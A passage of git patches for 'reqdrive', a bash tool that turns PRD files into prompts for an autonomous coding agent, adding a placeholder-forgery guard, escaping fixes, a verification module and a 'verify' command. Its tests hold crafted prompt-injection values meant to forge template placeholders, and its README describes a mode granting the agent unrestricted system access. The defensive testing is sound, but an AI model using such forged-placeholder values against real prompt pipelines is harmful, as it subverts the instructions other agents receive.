story_description=$(sanitize_for_prompt "$story_description") story_criteria=$(sanitize_for_prompt "$story_criteria") - cat > "$prompt_file" < "$prompt_file" } # ── Story Selection ────────────────────────────────────────────────────────── From 129e7465c050d3f1ca24a245bd00d6930a18c8a3 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 22:29:46 -0600 Subject: [PATCH 36/47] feat: strip @@ tokens so PRD content cannot forge a placeholder MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The quoted-heredoc rewrite injects via ${tpl//@@TOKEN@@/"$val"}, so a PRD value containing a literal @@TOKEN@@ could — in a mutual-reference case that substitution ordering alone cannot fully cover — forge a placeholder a later pass expands. Stripping @@ from every injected value before substitution makes that impossible, order-independently. This is the one deliberate change to the golden the Task 26 refactor preserved: the fixture's forgery attempt in the description, '@@STORY_ID@@', is now defanged to 'STORY_ID'. Enumerated golden diff: - **Description:** Covers @@STORY_ID@@ forgery ... + **Description:** Covers STORY_ID forgery ... (exactly one line; no other output changed.) Three assertions pin the guards: the shopt || true survives a bash without patsub_replacement (US-RUN-33), PRD content cannot forge a token (US-RUN-34), and an ampersand in a title is not expanded to the match (US-RUN-35). --- lib/run.sh | 8 +++++ tests/BEHAVIOR-SPEC.md | 29 +++++++++++++++- tests/fixtures/golden-impl-prompt.md | 2 +- tests/oracle.lock.json | 14 +++++++- tests/simple-test.sh | 49 ++++++++++++++++++++++++++++ 5 files changed, 99 insertions(+), 3 deletions(-) diff --git a/lib/run.sh b/lib/run.sh index d4132df..88a19b0 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -299,6 +299,14 @@ build_implementation_prompt() { story_description=$(sanitize_for_prompt "$story_description") story_criteria=$(sanitize_for_prompt "$story_criteria") + # Strip @@-delimited tokens from PRD-derived values so injected content + # cannot forge a placeholder that a later substitution pass would expand. + story_id="${story_id//@@/}" + story_title="${story_title//@@/}" + story_description="${story_description//@@/}" + story_criteria="${story_criteria//@@/}" + sanitized_content="${sanitized_content//@@/}" + local tpl tpl=$(cat <<'PROMPT_IMPL' # Agent Instructions: Implement Story @@STORY_ID@@ diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index e03a317..feb15d2 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -905,7 +905,34 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** the maintainer preparing to rewrite `build_implementation_prompt`'s unquoted heredoc, **When** the function is called with the fixed fixture `tests/fixtures/golden-story.json` (id `US-042`, a title/description/criteria containing `&`, `\`, a backtick, `$`, and a literal `@@STORY_ID@@` placeholder) and requirement content `Requirement body with & and $VAR`, -**Then** the generated prompt is byte-identical to `tests/fixtures/golden-impl-prompt.md` — this characterization test locks the current output (including its known stray-backslash-before-`$` escaping defect) so a future heredoc rewrite can be verified byte-identical against this oracle before any deliberate behavior change is made. +**Then** the generated prompt is byte-identical to `tests/fixtures/golden-impl-prompt.md` — this characterization test locks the current output, including the forgery-strip guard that turns the fixture's literal `@@STORY_ID@@` into inert text `STORY_ID`, so a future heredoc rewrite can be verified byte-identical against this oracle before any further deliberate behavior change is made. + +--- + +### US-RUN-33: build_implementation_prompt — the patsub_replacement shopt guard survives bash without that option +**Test:** `prompt: shopt guard tolerates bash without patsub_replacement` + +**As** the maintainer running the pipeline on a pre-5.2 bash where `patsub_replacement` does not exist, +**When** `shopt -u definitely_not_an_option 2>/dev/null || true` is executed under `set -e` (standing in for an unknown shopt name), and separately, `lib/run.sh` is checked for the literal guard line, +**Then** the unknown-option case does not abort the script (`SURVIVED` is printed) and `lib/run.sh` contains `shopt -u patsub_replacement 2>/dev/null || true` — pinning both the general `|| true` idiom and the exact guard line `build_implementation_prompt` relies on to stay portable across bash versions. + +--- + +### US-RUN-34: build_implementation_prompt — PRD content cannot forge a placeholder token +**Test:** `prompt: PRD content cannot forge a placeholder token` + +**As** the maintainer defending against prompt-injection via the PRD, +**When** `build_implementation_prompt` is called with a story titled `@@STORY_ID@@ and @@REQUIREMENT@@` and requirement content `body text`, +**Then** the rendered prompt contains no `@@` sequence anywhere and still contains the literal text `body text` — the forgery-strip guard removes `@@` from every injected value before substitution, so a PRD-supplied value cannot masquerade as a placeholder that a later substitution pass would expand. + +--- + +### US-RUN-35: build_implementation_prompt — an ampersand in a title is not expanded to the match +**Test:** `prompt: ampersand in a title is not expanded to the match` + +**As** the maintainer relying on bash's `${var//pat/repl}` substitution semantics, +**When** `build_implementation_prompt` is called with a story titled `auth & billing`, +**Then** the rendered prompt contains the line `**Title:** auth & billing` verbatim — the unquoted `&`-expands-to-match behavior (default before bash 5.2, or without the `patsub_replacement` guard) does not corrupt injected PRD content. --- diff --git a/tests/fixtures/golden-impl-prompt.md b/tests/fixtures/golden-impl-prompt.md index 681e239..92b9d11 100644 --- a/tests/fixtures/golden-impl-prompt.md +++ b/tests/fixtures/golden-impl-prompt.md @@ -6,7 +6,7 @@ You are an autonomous coding agent. Implement the following user story. - **ID:** US-042 - **Title:** Handle auth & billing \$HOME with 'id' and a \ backslash -- **Description:** Covers @@STORY_ID@@ forgery, ampersands & escapes, and \${VAR} expansion +- **Description:** Covers STORY_ID forgery, ampersands & escapes, and \${VAR} expansion ### Acceptance Criteria diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 3482bd7..ddb79ef 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "ed210cf0af79cf70633505cd14c1948c52df66a428cc2d985de219a2f1fb4d85", + "suiteSha256": "4b917b22ae1df3d7f2f41766d54940c04aefa3a2a975296799d5c01f6ecf6047", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -337,6 +337,10 @@ "name": "preflight: warns when no testCommand is configured", "story": "US-PRE-07" }, + { + "name": "prompt: ampersand in a title is not expanded to the match", + "story": "US-RUN-35" + }, { "name": "prompt: build_planning_prompt includes PRD schema", "story": "US-RUN-21" @@ -353,6 +357,14 @@ "name": "prompt: implementation prompt matches golden file", "story": "US-RUN-32" }, + { + "name": "prompt: PRD content cannot forge a placeholder token", + "story": "US-RUN-34" + }, + { + "name": "prompt: shopt guard tolerates bash without patsub_replacement", + "story": "US-RUN-33" + }, { "name": "review: config defaults reviewCommand to empty string", "story": "US-REV-01" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index d656bbc..5e61166 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -1843,6 +1843,55 @@ test_result "prompt: build_planning_prompt preserves dollar signs in content" $? ) test_result "prompt: implementation prompt matches golden file" $? +# Test: shopt guard tolerates bash without patsub_replacement +( + set -e + out=$(bash -c 'set -e; shopt -u definitely_not_an_option 2>/dev/null || true; echo SURVIVED') + [ "$out" = "SURVIVED" ] && + grep -q 'shopt -u patsub_replacement 2>/dev/null || true' "$REQDRIVE_ROOT/lib/run.sh" +) +test_result "prompt: shopt guard tolerates bash without patsub_replacement" $? + +# Test: PRD content cannot forge a placeholder token +( + set -e + export REQDRIVE_ROOT + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + + out="$TEST_TEMP/prompt-forge.md" + story_json='{"title":"@@STORY_ID@@ and @@REQUIREMENT@@","description":"desc","acceptanceCriteria":["done"],"id":"US-004","priority":1,"passes":false}' + build_implementation_prompt "$out" "US-004" "$story_json" "body text" + + if grep -q '@@' "$out"; then + echo "unexpected: @@ token survived into rendered prompt" >&2 + exit 1 + fi + grep -q "body text" "$out" +) +test_result "prompt: PRD content cannot forge a placeholder token" $? + +# Test: ampersand in a title is not expanded to the match +( + set -e + export REQDRIVE_ROOT + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + + out="$TEST_TEMP/prompt-amp.md" + story_json='{"title":"auth & billing","description":"desc","acceptanceCriteria":["done"],"id":"US-005","priority":1,"passes":false}' + build_implementation_prompt "$out" "US-005" "$story_json" "body text" + + grep -q '\*\*Title:\*\* auth & billing' "$out" +) +test_result "prompt: ampersand in a title is not expanded to the match" $? + echo "" echo "--- Completion Hook ---" From c43991826efc99388bf6d0840cf84f80190aa6fc Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 23:00:03 -0600 Subject: [PATCH 37/47] fix: stop emitting stray backslashes into the agent's prompt MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sanitize_for_prompt escapes $ to \$ for the OLD unquoted heredoc. The heredoc is quoted now, so the backslash was pure noise reaching the agent — including inside the commit message it is instructed to use. Un-escape at injection time (the correct bash form is ${var//\$/\$}; the naive ${var//\$/$} does not un-escape). lib/sanitize.sh is unchanged: its backtick neutralization is load-bearing and it has other callers. Enumerated golden change (4 lines, all \$ -> $): - **Title:** ...\/c/Users/barclay... -> ...$HOME... - **Description:** ...\... -> ...${VAR}... - criterion: Check \/c/Users/barclay -> Check ${HOME} - commit message: feat: [...] ...\/c/Users/barclay -> ...$HOME Updated Task 4's escaped-form assertion to the un-escaped form, added US-RUN-36 (a $ title reaches the agent verbatim, commit line clean), and corrected US-RUN-30's now-stale prose. --- lib/run.sh | 11 ++++++++++ tests/BEHAVIOR-SPEC.md | 11 +++++++++- tests/fixtures/golden-impl-prompt.md | 8 +++---- tests/oracle.lock.json | 6 +++++- tests/simple-test.sh | 32 +++++++++++++++++++++++++++- 5 files changed, 61 insertions(+), 7 deletions(-) diff --git a/lib/run.sh b/lib/run.sh index 88a19b0..f6a7e1b 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -307,6 +307,17 @@ build_implementation_prompt() { story_criteria="${story_criteria//@@/}" sanitized_content="${sanitized_content//@@/}" + # sanitize_for_prompt escapes $ for the OLD unquoted heredoc. The heredoc + # is quoted now and this file is never re-evaluated by a shell, so the + # backslash is noise that reaches the agent — including the commit message + # it is told to use. Reverse it here rather than changing sanitize_for_prompt, + # which has other callers. + story_id="${story_id//\\\$/\$}" + story_title="${story_title//\\\$/\$}" + story_description="${story_description//\\\$/\$}" + story_criteria="${story_criteria//\\\$/\$}" + sanitized_content="${sanitized_content//\\\$/\$}" + local tpl tpl=$(cat <<'PROMPT_IMPL' # Agent Instructions: Implement Story @@STORY_ID@@ diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index feb15d2..243c8c0 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -889,7 +889,7 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a pipeline runner, **When** a story's `acceptanceCriteria` includes `"Check ${HOME} variable"` and I call `build_implementation_prompt`, -**Then** the prompt file does not contain the actual expanded `$HOME` path, but does contain the literal escaped text `Check \${HOME} variable` and `US-003`. +**Then** the prompt file does not contain the shell-expanded `$HOME` path, but does contain the criterion text `Check ${HOME} variable` (the `$` reaches the agent without a stray backslash, per Task 28) and `US-003`. ### US-RUN-31: select_next_story — selects a story that omits the passes field **Test:** `story: select_next_story selects a story omitting passes` @@ -936,6 +936,15 @@ Each story maps to one or more tests in `tests/simple-test.sh`. --- +### US-RUN-36: build_implementation_prompt — dollar signs reach the agent without stray backslashes +**Test:** `prompt: dollar signs reach the agent without stray backslashes` + +**As** the maintainer who removed the unquoted-heredoc justification for escaping `$`, +**When** `build_implementation_prompt` is called with a story titled `Fix $HOME handling`, +**Then** the rendered prompt contains the line `**Title:** Fix $HOME handling` verbatim, contains no stray `\$` before `HOME`, and the commit-message line reads `feat: [US-9] - Fix $HOME handling` — `sanitize_for_prompt`'s `$` → `\$` escaping (still load-bearing for its other callers) is reversed at injection time so the agent never sees a backslash that was only ever needed for the old unquoted heredoc. + +--- + ## Module 6: bin/reqdrive (CLI) ### US-CLI-01: --version prints the schema version diff --git a/tests/fixtures/golden-impl-prompt.md b/tests/fixtures/golden-impl-prompt.md index 92b9d11..6a536dd 100644 --- a/tests/fixtures/golden-impl-prompt.md +++ b/tests/fixtures/golden-impl-prompt.md @@ -5,13 +5,13 @@ You are an autonomous coding agent. Implement the following user story. ## Your Story - **ID:** US-042 -- **Title:** Handle auth & billing \$HOME with 'id' and a \ backslash -- **Description:** Covers STORY_ID forgery, ampersands & escapes, and \${VAR} expansion +- **Title:** Handle auth & billing $HOME with 'id' and a \ backslash +- **Description:** Covers STORY_ID forgery, ampersands & escapes, and ${VAR} expansion ### Acceptance Criteria - Given input with & and \, the output is unchanged -- Check \${HOME} is not expanded +- Check ${HOME} is not expanded ## Instructions @@ -20,7 +20,7 @@ You are an autonomous coding agent. Implement the following user story. 3. Implement **this story only** (US-042) 4. Run quality checks (test, typecheck, lint as appropriate) 5. If checks pass: - - Commit with message: `feat: [US-042] - Handle auth & billing \$HOME with 'id' and a \ backslash` + - Commit with message: `feat: [US-042] - Handle auth & billing $HOME with 'id' and a \ backslash` - Update PRD: set `passes: true` for story US-042 - Append progress to `progress.txt` diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index ddb79ef..87dc744 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "4b917b22ae1df3d7f2f41766d54940c04aefa3a2a975296799d5c01f6ecf6047", + "suiteSha256": "a9918184e6db364e378af2fea5ec2afef621814787cb9b2f3c7a38bb47237993", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -353,6 +353,10 @@ "name": "prompt: build_planning_prompt preserves dollar signs in content", "story": "US-RUN-22" }, + { + "name": "prompt: dollar signs reach the agent without stray backslashes", + "story": "US-RUN-36" + }, { "name": "prompt: implementation prompt matches golden file", "story": "US-RUN-32" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 5e61166..b70c06a 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -1319,7 +1319,7 @@ test_result "impl prompt: neutralizes backticks in story description" $? exit 1 fi # Positive: the criterion text must actually be present. - grep -q 'Check \\${HOME} variable' "$prompt_file" + grep -q 'Check ${HOME} variable' "$prompt_file" grep -q 'US-003' "$prompt_file" ) test_result "impl prompt: neutralizes \${VAR} in acceptance criteria" $? @@ -1843,6 +1843,36 @@ test_result "prompt: build_planning_prompt preserves dollar signs in content" $? ) test_result "prompt: implementation prompt matches golden file" $? +# Test: dollar signs reach the agent without stray backslashes. +# sanitize_for_prompt escapes $ -> \$ for the old unquoted heredoc; +# build_implementation_prompt now reverses that escaping since the +# heredoc is quoted and the file is never re-evaluated by a shell. +( + set -e + export REQDRIVE_ROOT + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + + prompt_file="$TEST_TEMP/prompt-dollar.md" + story_json='{"title":"Fix $HOME handling","description":"d","acceptanceCriteria":["a"],"id":"US-9","priority":1,"passes":false}' + sanitized_content="body" + + build_implementation_prompt "$prompt_file" "US-9" "$story_json" "$sanitized_content" + + # Positive: the title reaches the prompt verbatim. + grep -q '\*\*Title:\*\* Fix \$HOME handling' "$prompt_file" + if grep -q 'Fix \\$HOME' "$prompt_file"; then + echo "unexpected: stray backslash before \$HOME" >&2 + exit 1 + fi + # The commit message the agent is told to use must be clean too. + grep -q 'feat: \[US-9\] - Fix \$HOME handling' "$prompt_file" +) +test_result "prompt: dollar signs reach the agent without stray backslashes" $? + # Test: shopt guard tolerates bash without patsub_replacement ( set -e From bdb65fd3253a823698bb84a15df3569c4f51817f Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 23:29:10 -0600 Subject: [PATCH 38/47] refactor: extract the verification phase into lib/verification.sh run_pipeline's inline Phase 3 becomes three shared functions so the new reqdrive verify command (next commit) reuses one implementation: verify_collect -> VERIFY_STORIES_* + VERIFY_PRD_PRESENT globals verify_run_tests -> tri-state 0 pass / 1 fail / 2 not-configured verify_write_summary Named verification.sh, not verify.sh, to stay distinct from the archived archive/v1-complex/lib/verify.sh. max_iterations is an explicit parameter (a run_pipeline local interpolated into the JSON; omitting it emits a malformed "max": ). The summary is written temp-file + mv (atomic). verify_run_tests's return is captured with || verify_rc=$? because a bare non-zero return would trip set -e before the case ran. Characterization: verification-summary.json keeps its full shape (US-PIPE-02), draft gate behavior unchanged. --- lib/run.sh | 81 +++++--------------- lib/verification.sh | 165 +++++++++++++++++++++++++++++++++++++++++ tests/BEHAVIOR-SPEC.md | 7 ++ tests/oracle.lock.json | 6 +- tests/simple-test.sh | 21 ++++++ 5 files changed, 217 insertions(+), 63 deletions(-) create mode 100644 lib/verification.sh diff --git a/lib/run.sh b/lib/run.sh index f6a7e1b..15023d8 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -1113,25 +1113,16 @@ EOF log_info " Phase 3: Verification" log_info "═══════════════════════════════════════════════════════" - # Collect story stats from prd.json - local final_remaining=0 - local prd_present=0 - local stories_total=0 - local stories_completed=0 - local stories_failed=0 + source "$REQDRIVE_ROOT/lib/verification.sh" - if [ -f "$prd_file" ]; then - prd_present=1 - stories_total=$(jq '.userStories | length' "$prd_file" 2>/dev/null || echo "0") - stories_completed=$(jq '[.userStories[] | select(.passes == true)] | length' "$prd_file" 2>/dev/null || echo "0") - final_remaining=$(jq '[.userStories[] | select(.passes != true)] | length' "$prd_file" 2>/dev/null || echo "0") - - # Stories that exhausted their retry limit - local max_story_retries_check="${REQDRIVE_MAX_STORY_RETRIES:-3}" - stories_failed=$(jq --argjson max "$max_story_retries_check" \ - '[.userStories[] | select(.passes != true and ((.attempts // 0) >= $max))] | length' \ - "$prd_file" 2>/dev/null || echo "0") - fi + # Collect story stats from prd.json + local final_remaining prd_present stories_total stories_completed stories_failed + verify_collect "$prd_file" "${REQDRIVE_MAX_STORY_RETRIES:-3}" + stories_total=$VERIFY_STORIES_TOTAL + stories_completed=$VERIFY_STORIES_COMPLETED + stories_failed=$VERIFY_STORIES_FAILED + final_remaining=$VERIFY_STORIES_REMAINING + prd_present=$VERIFY_PRD_PRESENT RUN_SUMMARY_STORIES_TOTAL=$stories_total RUN_SUMMARY_STORIES_COMPLETED=$stories_completed @@ -1142,54 +1133,20 @@ EOF log_info "Commits: $RUN_SUMMARY_COMMITS_VERIFIED verified, $RUN_SUMMARY_COMMITS_MISSING missing" # Run final verification test if testCommand is configured - local verification_passed=true - local verification_log="$agent_dir/verification.test.log" - - if [ -n "${REQDRIVE_TEST_COMMAND:-}" ]; then - log_info "Running final verification: $REQDRIVE_TEST_COMMAND" - if eval "$REQDRIVE_TEST_COMMAND" > "$verification_log" 2>&1; then - log_info "Final verification PASSED" - else - log_warn "Final verification FAILED (see verification.test.log)" - verification_passed=false - fi - else - log_info "No testCommand configured, skipping final verification" - verification_passed=null - fi + # (captured via `|| rc=$?`, not a bare call + `case $?`, since a bare + # non-zero return would trip this file's `set -e` before the case ran) + local verification_passed verify_rc=0 + verify_run_tests "$agent_dir" || verify_rc=$? + case $verify_rc in + 0) verification_passed=true ;; + 1) verification_passed=false ;; + 2) verification_passed=null ;; + esac RUN_SUMMARY_VERIFICATION_PASSED=$verification_passed # Write verification summary for PR enrichment and pipeline consumption - local verification_file="$agent_dir/verification-summary.json" - cat > "$verification_file" < +# Sets (always overwritten, even when prd_file is absent): +# VERIFY_STORIES_TOTAL - story count in the PRD (0 if no PRD) +# VERIFY_STORIES_COMPLETED - stories with passes == true +# VERIFY_STORIES_FAILED - stories with passes != true that have +# exhausted max_retries attempts +# VERIFY_STORIES_REMAINING - stories with passes != true; always an +# integer (0 when no PRD), never null. +# Callers that need "no PRD" to mean +# "unknown" should branch on +# VERIFY_PRD_PRESENT, not this value. +# VERIFY_PRD_PRESENT - 1 if prd_file exists, else 0 +# +# verify_run_tests +# Runs $REQDRIVE_TEST_COMMAND (if configured) and writes +# $agent_dir/verification.test.log. Tri-state return — do not collapse +# to a boolean: +# 0 - tests ran and passed +# 1 - tests ran and failed +# 2 - no testCommand configured (not run at all) +# Because a plain function call's non-zero return trips `set -e`, +# callers in this codebase capture it via `cmd || rc=$?`, never a bare +# call followed by `case $?`. +# +# verify_write_summary +# Writes $agent_dir/verification-summary.json via a temp file + mv +# (atomic). Reads the VERIFY_* globals above plus the RUN_SUMMARY_* +# globals (RUN_SUMMARY_ITERATIONS, RUN_SUMMARY_TESTS_*, +# RUN_SUMMARY_COMMITS_*, RUN_SUMMARY_VERIFICATION_PASSED) set by the +# implementation loop in run_pipeline. max_iterations is an explicit +# parameter because it is a run_pipeline local, not a global. +# mode=full - write stories/prd_present/iterations/tests/commits/ +# verification_passed entirely from the current globals. +# This is what run_pipeline uses. +# mode=merge - recompute stories/prd_present/verification_passed from +# the current globals, but preserve iterations/tests/ +# commits from the EXISTING verification-summary.json +# (a standalone `verify` has no implementation loop, so +# RUN_SUMMARY_* would otherwise zero out the evidence +# trail pr-create.sh renders into the PR table). Returns +# 3 if there is no existing file to merge into. + +set -e + +verify_collect() { + local prd_file="$1" + local max_retries="$2" + + VERIFY_STORIES_TOTAL=0 + VERIFY_STORIES_COMPLETED=0 + VERIFY_STORIES_FAILED=0 + VERIFY_STORIES_REMAINING=0 + VERIFY_PRD_PRESENT=0 + + if [ -f "$prd_file" ]; then + VERIFY_PRD_PRESENT=1 + VERIFY_STORIES_TOTAL=$(jq '.userStories | length' "$prd_file" 2>/dev/null || echo "0") + VERIFY_STORIES_COMPLETED=$(jq '[.userStories[] | select(.passes == true)] | length' "$prd_file" 2>/dev/null || echo "0") + VERIFY_STORIES_REMAINING=$(jq '[.userStories[] | select(.passes != true)] | length' "$prd_file" 2>/dev/null || echo "0") + + # Stories that exhausted their retry limit + VERIFY_STORIES_FAILED=$(jq --argjson max "$max_retries" \ + '[.userStories[] | select(.passes != true and ((.attempts // 0) >= $max))] | length' \ + "$prd_file" 2>/dev/null || echo "0") + fi +} + +verify_run_tests() { + local agent_dir="$1" + local verification_log="$agent_dir/verification.test.log" + + if [ -n "${REQDRIVE_TEST_COMMAND:-}" ]; then + log_info "Running final verification: $REQDRIVE_TEST_COMMAND" + if eval "$REQDRIVE_TEST_COMMAND" > "$verification_log" 2>&1; then + log_info "Final verification PASSED" + return 0 + else + log_warn "Final verification FAILED (see verification.test.log)" + return 1 + fi + else + log_info "No testCommand configured, skipping final verification" + return 2 + fi +} + +verify_write_summary() { + local agent_dir="$1" + local req_id="$2" + local max_iterations="$3" + local mode="$4" + + local summary_file="$agent_dir/verification-summary.json" + local tmp_file="$summary_file.tmp" + + local stories_remaining_json="null" + local prd_present_json="false" + if [ "$VERIFY_PRD_PRESENT" -eq 1 ]; then + stories_remaining_json="$VERIFY_STORIES_REMAINING" + prd_present_json="true" + fi + + local iterations_run tests_passed tests_failed tests_skipped commits_verified commits_missing + + if [ "$mode" = "merge" ]; then + if [ ! -f "$summary_file" ]; then + return 3 + fi + iterations_run=$(jq -r '.iterations.run' "$summary_file") + tests_passed=$(jq -r '.tests.passed' "$summary_file") + tests_failed=$(jq -r '.tests.failed' "$summary_file") + tests_skipped=$(jq -r '.tests.skipped' "$summary_file") + commits_verified=$(jq -r '.commits.verified' "$summary_file") + commits_missing=$(jq -r '.commits.missing' "$summary_file") + else + iterations_run="${RUN_SUMMARY_ITERATIONS:-0}" + tests_passed="${RUN_SUMMARY_TESTS_PASSED:-0}" + tests_failed="${RUN_SUMMARY_TESTS_FAILED:-0}" + tests_skipped="${RUN_SUMMARY_TESTS_SKIPPED:-0}" + commits_verified="${RUN_SUMMARY_COMMITS_VERIFIED:-0}" + commits_missing="${RUN_SUMMARY_COMMITS_MISSING:-0}" + fi + + cat > "$tmp_file" < /dev/null + s="$PH_ROOT/.reqdrive/runs/req-01/verification-summary.json" + jq -e '.version == "0.3.0"' "$s" > /dev/null + jq -e '.stories | has("total") and has("completed") and has("failed") and has("remaining")' "$s" > /dev/null + jq -e '.iterations | has("run") and has("max")' "$s" > /dev/null + jq -e '.iterations.max != null' "$s" > /dev/null + jq -e 'has("prd_present")' "$s" > /dev/null + jq -e '.tests | has("passed") and has("failed") and has("skipped")' "$s" > /dev/null + jq -e '.commits | has("verified") and has("missing")' "$s" > /dev/null +) +test_result "verification: summary keeps its full shape" $? + echo "" echo "--- Draft Gate ---" From dc963d3ad808526f64e01f5c72f8acd98405b1f3 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 00:20:02 -0600 Subject: [PATCH 39/47] feat: add reqdrive verify MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Re-runs verification for an existing run and updates its verification-summary.json in merge mode, so re-verifying preserves the iterations/tests/commits evidence trail the PR body renders. Refuses when the run's PID is still alive (EXIT_CONCURRENT_RUN=10), when the checkout does not match the run's recorded branch and no --ref is given (EXIT_GIT_ERROR=4), and when the run or its summary is missing (EXIT_CONFIG_ERROR=3). Exits 0 on pass, EXIT_VERIFICATION_FAILED=9 on fail. Documented verify + --ref in README — the P5 doc-coverage gates reddened on both until documented, which is the gate working. Found a pre-existing latent bug (logged as F8): write_run_status writes pr_url into run.json without JSON-escaping, so an embedded newline makes the file invalid JSON and crashes jq consumers under set -e. verify's pid-read is fail-open to survive it; the root fix in write_run_status is deferred (it touches frozen run_status tests). --- README.md | 2 + bin/reqdrive | 138 +++++++++++++++++++++++++++++++++++++++++ lib/errors.sh | 4 ++ tests/BEHAVIOR-SPEC.md | 35 +++++++++++ tests/FINDINGS.md | 1 + tests/oracle.lock.json | 24 ++++++- tests/simple-test.sh | 79 +++++++++++++++++++++++ 7 files changed, 281 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b345711..2e6b74c 100644 --- a/README.md +++ b/README.md @@ -53,6 +53,7 @@ reqdrive run REQ-01 # Run pipeline for a requirement | `reqdrive validate` | Validate the configuration file | | `reqdrive migrate` | Add version fields to pre-0.3.0 configs/PRDs | | `reqdrive plan ` | Generate `prd.json` only — planning phase without implementation. Useful for reviewing the plan before committing agent time. | +| `reqdrive verify ` | Re-run verification for an existing run and update its `verification-summary.json` in place. Exits 0 on pass, 9 on failure, 3 if the run or its summary is missing, 4 on branch mismatch, 10 while the run is still active. | | `reqdrive orchestrate` | Multi-requirement sequencing. **Not implemented** — prints a "coming soon" notice and exits 0. | | `reqdrive --version` | Show version | | `reqdrive --help` | Show help | @@ -66,6 +67,7 @@ reqdrive run REQ-01 # Run pipeline for a requirement | `--dangerously-skip-permissions` | Alias for `--unsafe`. Accepted for parity with the `claude` CLI's own flag name. Grants the agent unrestricted system access; `launch` always uses this mode because a detached run cannot answer permission prompts. | | `--force` | Skip pre-flight checks | | `--resume` | Resume from last checkpoint | +| `--ref ` | `reqdrive verify` only. Verify against `` instead of refusing when the checkout does not match the run's recorded branch. Without it, verifying after the branch was merged and deleted would record an unrelated tree's result as that run's evidence. | ## Configuration (`reqdrive.json`) diff --git a/bin/reqdrive b/bin/reqdrive index ad1b2d4..50e5016 100755 --- a/bin/reqdrive +++ b/bin/reqdrive @@ -53,6 +53,7 @@ Usage: reqdrive validate Validate config reqdrive migrate Add version fields to existing configs reqdrive plan Generate PRD from requirement (plan only) + reqdrive verify Re-run verification for an existing run reqdrive orchestrate Run multiple requirements in sequence (coming soon) Run Options: @@ -60,6 +61,7 @@ Run Options: --unsafe Skip permission prompts (use with caution) --force Skip pre-flight checks (not recommended) --resume Resume from last checkpoint + --ref (verify only) Verify against a specific branch Examples: reqdrive init @@ -435,6 +437,138 @@ cmd_plan() { run_plan "$req_id" } +cmd_verify() { + local req_id="" + local ref_branch="" + + while [ $# -gt 0 ]; do + case "$1" in + --ref) + ref_branch="${2:-}" + if [ -z "$ref_branch" ]; then + echo "ERROR: --ref requires a branch name" >&2 + exit "$EXIT_GENERAL_ERROR" + fi + shift 2 + ;; + -*) + echo "Unknown option: $1" >&2 + exit "$EXIT_GENERAL_ERROR" + ;; + *) + if [ -z "$req_id" ]; then + req_id="$1" + else + echo "Unexpected argument: $1" >&2 + exit "$EXIT_GENERAL_ERROR" + fi + shift + ;; + esac + done + + if [ -z "$req_id" ]; then + echo "Usage: reqdrive verify [--ref ]" >&2 + echo "Re-run verification for an existing run and update its verification-summary.json." >&2 + exit "$EXIT_GENERAL_ERROR" + fi + + source "$REQDRIVE_ROOT/lib/config.sh" + reqdrive_load_config + + # Minimal logging shims — lib/verification.sh calls log_info/log_warn, + # which are normally defined by lib/run.sh, but cmd_verify never sources + # run.sh (it has no implementation loop to run). + log_info() { echo "[INFO] $(date +%H:%M:%S) $*" >&2; } + log_warn() { echo "[WARN] $(date +%H:%M:%S) $*" >&2; } + + local req_slug + req_slug=$(echo "$req_id" | tr '[:upper:]' '[:lower:]') + local agent_dir="$REQDRIVE_PROJECT_ROOT/.reqdrive/runs/$req_slug" + local summary_file="$agent_dir/verification-summary.json" + + if [ ! -d "$agent_dir" ]; then + echo "ERROR: No run found for '$req_slug' — missing directory: $agent_dir" >&2 + exit "$EXIT_CONFIG_ERROR" + fi + + if [ ! -f "$summary_file" ]; then + echo "ERROR: No verification summary for '$req_slug' — missing file: $summary_file" >&2 + 